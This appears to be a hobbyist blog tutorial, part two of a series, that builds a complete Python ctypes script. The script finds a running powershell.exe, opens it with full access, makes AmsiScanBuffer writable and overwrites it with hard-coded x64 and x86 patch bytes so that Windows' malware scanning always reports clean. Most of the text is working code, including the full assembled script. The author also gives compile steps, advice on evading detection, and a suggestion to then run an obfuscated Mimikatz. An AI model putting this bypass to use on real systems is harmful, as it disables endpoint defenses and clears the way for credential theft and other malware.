win32api with python3 part II: AMSI
in my last/first article i tried to explain in boring detail how to use the win32api with python3 this is the second part, hold tight because things gonna get offensive ;)
in this article i would like to talk about how to entirely patch AMSI in a powershell process
before we start, big kudos to pwn1sher for the C++ script AMSIScanBufBypass which i used massively as reference
thats been said lets get right into juicy stuff
First of all, What is AMSI?
AMSI or the Anti Malware Scanning Interface is one of the Runtime Detection solutions offered by windows to detect malware during runtime and halt it, and its the reason behind this annoying message
AMSI works by calling AmsiScanBuffer() from amsi.dll which scans user input for malicious data and returns a value determines whether or not your input is malicious
AmsiScanBuffer() return values:
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
our goal is to locate AmsiScanBuffer() memory address in amsi.dll and patch its return to always return 0 AMSI_RESULT_CLEAN
this was an on the go explanation of AMSI works however there is an amazing in-depth analyses by rasta-mouse here, if you wanna geek out on this, definitely take a look
Now the traditional way of doing this, is by using either powershell with p/invoke and reflections or by using C# and they are both “to my knowledge” used by slapping in a bypass snippet in the beginning of your code to patch AMSI only in the currently running script process
the way described by pwn1sher and the way i will be using is patching AMSI in a powershell process entirely and then run whatever
In0Ke-Mim1Katz you like
now lets split down the steps of the process so we don’t get lost
- get the powershell pid
- get a handle to the powershell process by its pid
- load amsi.dll
- get the process address of AmsiScanBuffer()
- change memory address protection of the function to RWX
- write the patch to the memory address
it may sound like alot but its way easier than you think, thanks to win32api
so lets start to code, open an amsi_patch.py and lets first import the necessary libraries
from ctypes import windll # <-- for kernel32
from ctypes import wintypes # <-- for Windows DataTypes
import ctypes # <-- for external C/C++ Based DataTypes
import wmi # for getting the powershell pid programmatically
import platform # for determining the arch of the machine
*those imports have been explained in great detail in the last article*
step 1: getting the powershell pid automatically
we can get the powershell pid in a quick and easy way utilizing the wmi implementation in python3
WMI - Windows Management Instrumentation: WMI provides a standard way for developers and administrators to access information about the hardware, software, and configuration settings of a Windows system. This information can be accessed programmatically using a variety of programming languages
a simple function that returns the powershell.exe pid:
def get_powershell_pid():
processes = wmi.WMI().Win32_Process(name="powershell.exe")
pid = processes[0].ProcessId
print(f"[*] powershell.exe process id: {pid}")
return int(pid)
and thats it, step 1 is done.
step 2 : get a handle of the powershell process by its pid
we already have a pid so lets use OpenProcess() from the Windows api to open a handle to the process
as explained in the last article we are gonna need to take a look at the docs and define the function’s args and return types with ctypes
from the function’s documentation on microsoft
it takes 3 arguments of type
- DWORD
- BOOL
- DWORD
and returns a BOOL
so lets get the kernel32 from windll and define the function in python with ctypes
kernel32 = windll.kernel32
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE
once the function is defined we can use it to get a process handle to the powershell.exe process
using OpenProcess to get a handle:
PROCESS_ALL_ACCESS = 0x1fffff
pid = get_powershell_pid()
phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print(f'[*] opened a handle to process (powershell.exe) with [ OpenProcess() ]: {phandle}')
point to mention:
the PROCESS_ALL_ACCESS variable defines what kind of access the handle will have to the opened process in our case its highest kind of access, from OpenProcess() docs:
we can get a list of the variables of the process access rights by following the link in the docs
from the docs:
but wait a damn minute, where does the 0x1fffff value come from
if you noticed in the image above they are using this symbol “|” which is the bitwise OR operator, the trailing “L” at the end of the hex is representing that this variable is a LONG type variable it should be discarded in code
lets do the bitwise OR operation on the variables in python:
we got a handle and everything is fine, lets move on to step3: load amsi.dll
to load the amsi.dll we gonna use the LoadLibraryA function
from the docs
its takes 1 argument of type LPCSTR which is the library name we want to load and it returns a HMODULE
defining it in python:
LoadLibraryA = kernel32.LoadLibraryA
LoadLibraryA.argtypes = [wintypes.LPCSTR]
LoadLibraryA.restype = wintypes.HMODULE
calling the function to load amsi.dll
lib = LoadLibraryA(b"amsi")
if lib:
print(f'[*] loaded (amsi.dll) with [ LoadLibraryA() ] {lib}')
the library name must be prefixed with (b) to indicate that its in bytes because wintypes.LPCSTR is a ctypes.c_char_p or a character pointer and in C those are bytes and we are calling a C function so datatypes must match
amsi.dll is loaded, step4: get the process address of AmsiScanBuffer()
to get the process address of AmsiScanBuffer() we will use the GetProcAddress() function
from its doc:
the function takes 2 arguments of types:
1- HMODULE the returned HMODULE from the LoadLibraryA call
2- LPCSTR which is the target Process Name [AmsiScanBuffer()]
and it returns a FARPROC type
the arg types are easy at this point but the FARPROC was weird to me, but uncle StackOverFlow came to rescue, here
so lets define the function:
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
GetProcAddress.restype = ctypes.c_void_p
now lets get the memory address of AmsiScanBuffer from amsi.dll
asb = GetProcAddress(lib, b"AmsiScanBuffer")
if asb:
print(f'[*] Got The Process Address of [ AmsiScanBuffer() ]: {asb}')
before we get into step 5 lets first define the amsi_patch that we gonna use to patch the amsiscanbuffer function, and make the script detect whether its gonna patch x64 bit or x86 based systems:
if platform.architecture()[0] == '64bit':
print('[*] using x64 based patch')
amsi_patch = (ctypes.c_char * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
if platform.architecture()[0] != '64bit':
print('[*] using x86 based patch')
amsi_patch = (ctypes.c_char * 8)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)
the weird way im using to define the variable is necessary because in C++ to define this value its gonna like this:
char Patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
which is basically a character array holding 6 bytes (a C++ character array)
so we need the same C++ character arrary in python so we type cast 6 bytes into 6 C characters or in other words create a 6 character based array and initialize it with a 6 bytes, in the x86 example its 8 bytes instead of 6
keep in mind: its necessary when getting the length of such array to use [ctypes.sizeof ] function since this is a C based array not python, using len() will not work
step 5: change memory address protection of the obtained address to RWX
to do this we’ll use VirtualProtect()
from the docs
defining it in python:
VirtualProtect = kernel32.VirtualProtect
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
VirtualProtect.restype = wintypes.BOOL
VirtualProtect Arguments:
1- LPVOID: the memory address to modify protection for [AmsiScanBuffer’s address] we got it from the GetProcAddress call
2- the size of the address space to change protection for (the size of the amsi_patch)
3- the protection to change to, from the docs:
from the memory protection constants, the highest permission is READ_WRITE_EXECUTE (RWX) similar to linux based permissions:
4- a pointer to variable, basically a pointer to a zero
lets put this to work and change the memory protection of the obtained address of AmsiScanBuffer() function to RWX:
RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
OLD_PROTECTION = wintypes.PDWORD(ctypes.c_ulong(0))
region_rwx = VirtualProtect(asb, ctypes.sizeof(amsi_patch), RWX, OLD_PROTECTION)
if region_rwx:
print('[*] Changed Memory Address Proctection of AmsiScanBuffer to RWX')
once protection changed, its time to write the patch to it
to write the patch we’ll use the famous WriteProcessMemory()
from the docs:
the function takes 5 arguments:
1- HANDLE: the handle to the opened process by OpenProcess
2- LPVOID: the base (start) address to where to write, ( the address of AmsiScanBuffer() we got from GetProcAddress() )
3- LPCVOID: the buffer to write (the amsi_patch)
4- SIZE_T: the size of the buffer
5- SIZE_T: a variable to write how many bytes have been written to memory to, in our case its a pointer to a Null
let put this to work and first define the function:
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL
now lets create a C++ null variable to use, the Null in C is basically a Zero, so we gonna C based zero
c_null = ctypes.c_int(0)
and now we can call the function to write the patch to the memory:
write_bypass = WriteProcessMemory(phandle, asb, amsi_patch, ctypes.sizeof(amsi_patch), ctypes.byref(c_null))
if write_bypass:
print('[*] Patched AMSI !')
and thats it, now lets take a look at the script one piece in a cleaned look
from ctypes import windll # <-- for kernel32
from ctypes import wintypes # <-- for Windows DataTypes
import ctypes # <-- for external C/C++ Based DataTypes
import platform
import wmi
kernel32 = windll.kernel32
LoadLibraryA = kernel32.LoadLibraryA
LoadLibraryA.argtypes = [wintypes.LPCSTR]
LoadLibraryA.restype = wintypes.HMODULE
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
GetProcAddress.restype = ctypes.c_void_p
VirtualProtect = kernel32.VirtualProtect
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
VirtualProtect.restype = wintypes.BOOL
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD,wintypes.BOOL,wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL
RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0))
PROCESS_ALL_ACCESS = 0x1fffff
if platform.architecture()[0] == '64bit':
print('[*] using x64 based patch')
amsi_patch = (ctypes.c_char * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
if platform.architecture()[0] != '64bit':
print('[*] using x86 based patch')
amsi_patch = (ctypes.c_char * 8)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)
def get_powershell_pid():
processes = wmi.WMI().Win32_Process(name="powershell.exe")
pid = processes[0].ProcessId
print(f"[*] powershell.exe process id: {pid}")
return int(pid)
pid = get_powershell_pid()
phandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
print(f'[*] opened a handle to process (powershell.exe) with [ OpenProcess() ]: {phandle}')
lib = LoadLibraryA(b"amsi")
if lib:
print(f'[*] loaded (amsi.dll) with [ LoadLibraryA() ] {lib}')
asb = GetProcAddress(lib, b"AmsiScanBuffer")
if asb:
print(f'[*] Got The Process Address of [ AmsiScanBuffer() ]: {asb}')
region_rwx = VirtualProtect(asb, ctypes.sizeof(amsi_patch), RWX, OLD_PROTECTION)
if region_rwx:
print('[*] Changed Memory Address Proctection of AmsiScanBuffer to RWX')
c_null = ctypes.c_int(0)
write_bypass = WriteProcessMemory(phandle, asb, amsi_patch, ctypes.sizeof(amsi_patch), ctypes.byref(c_null))
if write_bypass:
print('[*] Patched AMSI !')
now the best way to use this script is to compile with pyinstaller or any other python compiler
with pyinstaller: pyinstaller --onefile amsi_patch.py
i will make an article on how to compile python for windows on linux
for now’s sake we will test it as .py, so open a powershell terminal and before the patch run this command PS> amsiscanbuffer
it should like this:
now from a cmd window while powershell is running run the patch, you could run the patch from the powershell terminal its just better to run from cmd for evading detections, this should be the output:
and then go back to the powershell and test it again, you should see this:
congrats! AMSI is not working any more, now you can run whatever you want from this powershell terminal without worrying about AMSI
Thats a wrap!.